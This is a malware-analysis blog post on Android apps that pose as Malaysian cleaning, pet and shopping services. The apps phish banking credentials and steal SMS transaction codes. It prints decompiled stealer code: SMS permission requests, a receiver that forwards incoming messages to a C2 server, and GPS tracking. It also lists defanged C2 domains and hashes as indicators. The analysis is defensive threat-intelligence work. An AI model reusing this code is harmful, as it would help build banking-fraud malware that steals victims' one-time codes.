Yet another Malicious Android Apps targeting Malaysian


In this post, we will be discussing a disturbing new trend in malicious Android apps that have been targeting users in Malaysia. These apps, which have been disguised as legitimate services such as Cleaning service, have been found to contain SMS stealer and banking credential phishing capabilities, putting the sensitive information of their victims at risk.

The rise of smartphone usage in recent years has brought with it a host of security threats, including malicious apps that can compromise the privacy and security of users. These types of apps can be difficult to detect, as they often masquerade as harmless or even useful tools.

In the case of the malicious apps targeting Malaysian users, it is believed that they have been distributed through its websites. It is important for users to be cautious when downloading apps from unfamiliar sources, as this is one of the main ways that malicious apps can find their way onto a user’s device.

In this post, we will delve into the details of these particular incidents, including how the apps have been used to steal sensitive information such as SMS messages and banking credentials, and what users can do to protect themselves from similar threats.

Credit to Mr Jacob Soo for providing me the intel about this risen malicious APK.

Technical Analysis

This technical analysis is just for fun and knowledge sharing. All my words and writing is on my own and does not reflect anyone.

For this modus operandi, there were a lot of websites that serve the malicious APK. Here some of it that Mr. Jacob has intel for us.

Websites APK hash Theme
hxxps://weclean[.]cc/ 1030f97b9ad1addf85b980f576b648a3 Cleaning service
hxxps://double-clean[.]com/ 1abf5db7726c4e6e9a3a6ce6cdd313af Cleaning service
hxxps://cleanshouse[.]net/ 1b7df305308e4177ae2f078be13c3de9 Cleaning service
hxxp://dogsclubs[.]net a56a386b76841bd0aa10654e8d7f4efc Cleaning service
hxxp://best-cleanings[.]com e71f6e4629fb88ab18e52a2591b14fa8 Cleaning service
hxxp://bubblecleaning[.]net 7f0e204375caddb08d4c3f9937fa8304 Cleaning service
hxxp://44speedmart[.]com 23f449dbfc6b9ccae1d20d318672e6d4 Grocery store
hxxps://dog-salon[.]net/ 2b425dd477fca2932dfab2d5159f611d Dog salon service
hxxp://grooming-time[.]com f8de585ec8d75b6aae0f41ddf2dc03d8 Dog salon service
hxxp://luxury-online[.]net ccb0e8380057a4c406996d5102079a4b Shopping items
hxxps://pinky-cat[.]net/ 5ca6c25f1b2d8e4ca5987e68616247d7 Cat’s foods
hxxps://tech-digital[.]net/ e062d108c93082fb9f47c3f2249d19c5 Gadget ecommerce

The moment this post published, I believe you all can’t access the domain anymore as the CloudFlare returns Error code 520. Sad.

Btw, the domain might be different, but I suspect that the server behind these domains is the same for some reasons.

APK Metadata information

File Name:	clean-house.apk
Package Name:	com.service.sms
Main Activity:	io.dcloud.PandoraEntry
File Size:	39652340 bytes
MD5:		1b7df305308e4177ae2f078be13c3de9
Packed:		Not Packed
Min SDK:	21
Target SDK:	32


Based on the permissions of the application, we know that the application had some dangerous permission for users to consider it. But, looking only for permission to verify whether it is malicious or not is not an efficient way. We need to dive into the code and the behavior of the application to see how malicious is it.

Below is the list of permissions in the application:


Btw, it is difficult to determine which Android permissions are “dangerous” as the level of risk associated with each permission depends on the specific app and how it uses the permission. Some permissions, such as the ability to access the camera or read SMS messages, can be potentially dangerous if they are used by a malicious app to compromise the privacy or security of the user. Other permissions, such as the ability to access the internet or read external storage, may not pose as much of a risk on their own but could be used in conjunction with other permissions to potentially harm the user.

As a general rule, it is important for users to carefully review the permissions requested by an app before installing it, and to be cautious of apps that request permissions that seem unnecessary for the app’s intended functionality. It is also a good idea to avoid downloading apps from untrusted sources, as these apps are more likely to be malicious.

But for analysts, we can consider these permissions to have our eye on it as it can be considered as dangerous in a certain context.


Landing page overview

The application’s APK file is available to be downloaded at the landing page that has been set up by the threat actor at the mentioned table in the section above. Based on the landing page UI, the threat actor uses various themes to lure customers to download and install the malicious application if the customer wanted to book the package cleaning service, dog salon, eCommerce, and other packages.

The image below shows the cleaning service landing page that describes the cleaning service that they’re offering for victims. To use their services, victims need to download and install malicious application.


Clicking on the Google Play icon will automatically download the application to the victim’s phone.


Upon downloading the application, victims will install the application, and… all the SMS will be stolen for the sake of TAC code and they might be one of the victims of banking credential phishing.

Application behavior and interface

In order to analyze the functionality of the malicious app, analyst will need to explore its interface and various features, such as adding items to a shopping cart or creating an account. This can be done by manually interacting with the app and observing its behavior, or by using Android emulator. By understanding the different components and functionality of the app, the analyst can better understand its purpose and potential impact on the device and user. It is important for the analyst to be thorough in their analysis in order to identify any potential malicious behavior or vulnerabilities that may be present in the app.

So, upon opening the app, victim will see a dialog box asking for SMS permission and default SMS manager.

Snipaste_2022-12-23_20-53-39-removebg-preview Snipaste_2022-12-23_20-55-41-removebg-preview

public void requestPermission(){
       if (Build$VERSION.SDK_INT >= 23) {
          String[] stringArray = new String[]{"android.permission.READ_SMS","android.permission.BROADCAST_SMS","android.permission.RECEIVE_SMS","android.permission.SEND_SMS","android.permission.RECEIVE_MMS","android.permission.RECEIVE_WAP_PUSH"};
, 101);
       Intent intent = new Intent("android.provider.Telephony.ACTION_CHANGE_DEFAULT");

This code defines an requestPermission method that requests several SMS-related permissions from the user if the device is running Android 6.0 (API level 23) or higher. The permissions being requested are:

  • android.permission.READ_SMS: Allows an application to read SMS messages.
  • android.permission.BROADCAST_SMS: Allows an application to broadcast SMS messages.
  • android.permission.RECEIVE_SMS: Allows an application to receive SMS messages.
  • android.permission.SEND_SMS: Allows an application to send SMS messages.
  • android.permission.RECEIVE_MMS: Allows an application to receive MMS messages.
  • android.permission.RECEIVE_WAP_PUSH: Allows an application to receive WAP push messages.

These permissions are requested using the requestPermissions method of the Activity class, which displays a system dialog to the user asking for permission. The requestPermissions method takes two arguments: an array of strings representing the permissions being requested, and an integer request code that is used to identify the request when the result is received in the onRequestPermissionsResult method.

The code also starts an activity to change the default SMS app to the current app by creating an Intent object with the action “android.provider.Telephony.ACTION_CHANGE_DEFAULT” and setting the package name of the current app as an extra. The activity is started using the startActivity method of the Activity class.

Here some of the application interface during my testing of the app such as viewing items/services, booking items/services, adding items/services to a shopping cart, and checkout.

Snipaste_2022-12-23_20-55-50-removebg-preview Snipaste_2022-12-23_20-56-34-removebg-preview Snipaste_2022-12-23_20-56-57-removebg-preview Snipaste_2022-12-23_20-57-08-removebg-preview

Fake payment gateway for phishing

Upon checkout the items, the app will navigate to fake payment gateaway for the payment options. The payment also can be made using Debit and Credit Card.


The list of banks include:

  1. Maybank
  2. Hong Leong Bank
  3. CIMB
  4. Public Bank
  5. Affin
  6. BSN
  7. Bank Islam
  8. AmBank
  9. OCBC
  10. HSBC
  11. HUOB
  12. AGRO

For example, figure below shows fake Maybank2u page and lure debit/credit card payment page:

Snipaste_2022-12-23_20-58-18-removebg-preview Snipaste_2022-12-23_20-58-26-removebg-preview Snipaste_2022-12-23_20-58-48-removebg-preview

Upon entering our banking credential, the app will POST the data to the API server reside in


After send the data, the application will either shows this screen to the user.

Snipaste_2022-12-23_20-59-25-removebg-preview (1) Snipaste_2022-12-23_20-59-57-removebg-preview

SMS stealer

For SMS stealer behavior, the malicious application statically declares a broadcast receiver of BROADCAST_SMS in AndroidManifest file. The APK uses the broadcast receiver to listen for any incoming message and send the incoming SMS data to the attacker API server. Intently to get TAC code of the banking transaction for the illegal transaction.

<receiver android:name="com.service.sms.SmsReceiver" android:permission="android.permission.BROADCAST_SMS" android:enabled="true" android:exported="true" android:priority="9999999" android:stopWithTask="false">
            <intent-filter android:priority="9999999">
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
                <category android:name="android.intent.category.DEFAULT"/>
        <activity android:name="com.service.sms.MainSmsActivity" android:exported="true">
                <action android:name="android.intent.action.SEND"/>
                <action android:name="android.intent.action.SENDTO"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <data android:scheme="sms"/>
                <data android:scheme="smsto"/>
                <data android:scheme="mms"/>
                <data android:scheme="mmsto"/>
            <meta-data android:name="" android:value=""/>

In the class MyReciever, the method onReceive will be triggered when an SMS is coming in and the application will send the SMS data to the attacker URL. Here’s the code:

public class SmsReceiver extends BroadcastReceiver {
    private static final String TAG = "SmsReceiver";

    @Override // android.content.BroadcastReceiver
    public void onReceive(Context context, Intent intent) {
        SmsMessage createFromPdu;
        if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) {
            Bundle extras = intent.getExtras();
            Object[] objArr = (Object[]) extras.get("pdus");
            int length = objArr.length;
            int i = 0;
            String str = "";
            String str2 = str;
            while (i < length) {
                Object obj = objArr[i];
                if (Build.VERSION.SDK_INT >= 23) {
                    createFromPdu = SmsMessage.createFromPdu((byte[]) obj, extras.getString(AbsoluteConst.JSON_KEY_FORMAT));
                } else {
                    createFromPdu = SmsMessage.createFromPdu((byte[]) obj);
                str2 = str2 + createFromPdu.getMessageBody();
                str = createFromPdu.getOriginatingAddress();
            SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss");
            SmsPush smsPush = new SmsPush();
            smsPush.setDeviceId(Settings.Secure.getString(context.getContentResolver(), "android_id"));
            smsPush.setInterceptedTime(simpleDateFormat.format(new Date()));
            try {
                SmsPushRequest smsPushRequest = (SmsPushRequest) ThreadUtil.executeRunnable(new SmsPushRequest(smsPush));
            } catch (InterruptedException e) {

This Java code defines a class SmsReceiver that extends the BroadcastReceiver class. BroadcastReceiver is a class in Android that allows an app to register to receive system-wide broadcasts, such as an incoming SMS message. The SmsReceiver class has a default constructor and an onReceive method, which is called when the app receives a broadcast.

The onReceive method takes two arguments: a Context object and an Intent object. The Intent object contains information about the broadcast, including the action that triggered it.

The onReceive method first checks if the action in the Intent object is “android.provider.Telephony.SMS_RECEIVED”, which indicates that an SMS message has been received. If it is, the method retrieves the extras in the Intent object and gets the “pdus” (protocol data units) from the extras. It then iterates through the array of PDUs, creating an SmsMessage object for each one using the createFromPdu method. It concatenates the message bodies of all the SmsMessage objects into a single string, and stores the originating address of the first SmsMessage object.

Next, the method creates a new SmsPush object and sets its sender, body, and deviceId fields using the values it retrieved from the SMS message. It also sets the interceptedTime field to the current date and time using a SimpleDateFormat object. Finally, it creates a new SmsPushRequest object with the SmsPush object as an argument and executes it using the executeRunnable method from the ThreadUtil class.

package com.service.sms.common.constants;

/* loaded from: classes2.dex */
public class UrlConstant {
    public static final String ACTIVE_PUSH = "";
    public static final String DEFAULT_SMS_PUSH = "";
    public static final String PREFIX = "/app/api/action/";
    public static final String SMS_PERMISSION_PUSH = "";
    public static final String SMS_PUSH = "";

After getting the SMS data, the app will send the data to the UrlConstant.DEFAULT_SMS_PUSH URL using an HTTP POST request and processes the response from the server to determine if the request was successful.

Track GPS location

JSONObject jSONObject = new JSONObject();
        LocationManager locationManager = (LocationManager) context.getSystemService("location");
        if (locationManager != null) {
            try {
                Method declaredMethod = locationManager.getClass().getDeclaredMethod("getLastKnownLocation", String.class);
                Location location = (Location) declaredMethod.invoke(locationManager, "gps");
                if (location == null && (location = (Location) declaredMethod.invoke(locationManager, "network")) == null) {
                    location = (Location) declaredMethod.invoke(locationManager, "passive");
                if (location != null) {
                    Class<?> cls = Class.forName("android.location.Location");
                    Method method = cls.getMethod("getLongitude", new Class[0]);
                    Method method2 = cls.getMethod("getLatitude", new Class[0]);
                    Method method3 = cls.getMethod("getAccuracy", new Class[0]);
                    Method method4 = cls.getMethod("getTime", new Class[0]);
                    jSONObject.put("lon", String.valueOf(method.invoke(location, new Object[0])));
                    jSONObject.put("lat", String.valueOf(method2.invoke(location, new Object[0])));
                    jSONObject.put("accuracy", String.valueOf(method3.invoke(location, new Object[0])));
                    jSONObject.put("ts", String.valueOf(method4.invoke(location, new Object[0])));
            } catch (Exception unused) {
        a = jSONObject;
        b = true;
        return jSONObject;

This method tries to retrieve the last known location from the device and return it as a JSONObject.

The method first checks whether the passed Context object is null and returns an empty JSONObject if it is. Then, it checks whether the app has the permissions android.permission.ACCESS_FINE_LOCATION and android.permission.ACCESS_COARSE_LOCATION, and returns an empty JSONObject if it doesn’t have either of these permissions.

If these checks pass, the method creates a new JSONObject and retrieves the LocationManager service from the system using the context object’s getSystemService method. It then tries to retrieve the last known location using reflection. It does this by calling the getDeclaredMethod method on the locationManager object to get a Method object for the getLastKnownLocation method, which it then sets to be accessible using setAccessible(true). It then invokes the method using invoke and passes it the argument “gps”. If this returns null, the method tries again with the arguments “network” and “passive”.

If a location is found, the method uses reflection to get the longitude, latitude, accuracy, and time of the location. It then adds the values returned by these methods to the JSONObject as key-value pairs.

Finally, the method sets the static JSONObject a to the JSONObject it created and sets the static boolean variable b to true, and returns the JSONObject.


The blog discusses the use of a lure application by a scammer to steal sensitive information from users. The lure application serves as a decoy, tricking users into providing their SMS data and online banking credentials, as well as credit card information. Once the scammer has obtained the SMS information, it is submitted to the attacker’s Command and Control (C2) server using an API located at the domain sg1[.]mall-base-app[.]com. While, for banking credential phishing kit, the data are sends to u138-paymobile7731[.]pay-director[.]com The attacker can then use the stolen information, such as banking credentials and credit card information, to obtain the Transaction Authorization Code (TAC) for illegal transactions. Essentially, the scammer is using the lure application to phish for sensitive information and use it for fraudulent purposes.

Indicator of Compromises

C2 Server
MD5 Hash Filename
ccb0e8380057a4c406996d5102079a4b Luxury.apk
e062d108c93082fb9f47c3f2249d19c5 TechDigital.apk
e71f6e4629fb88ab18e52a2591b14fa8 best-cleaning.apk
7f0e204375caddb08d4c3f9937fa8304 bubble-clean.apk
1b7df305308e4177ae2f078be13c3de9 clean-house.apk
2b425dd477fca2932dfab2d5159f611d dog-salon.apk
a56a386b76841bd0aa10654e8d7f4efc dogs-clubs.apk
1abf5db7726c4e6e9a3a6ce6cdd313af double-clean.apk
f8de585ec8d75b6aae0f41ddf2dc03d8 grooming-time.apk
5ca6c25f1b2d8e4ca5987e68616247d7 pinkycat.apk
23f449dbfc6b9ccae1d20d318672e6d4 speedmart.apk
1030f97b9ad1addf85b980f576b648a3 we-clean.apk
1030f97b9ad1addf85b980f576b648a3 we-clean.apk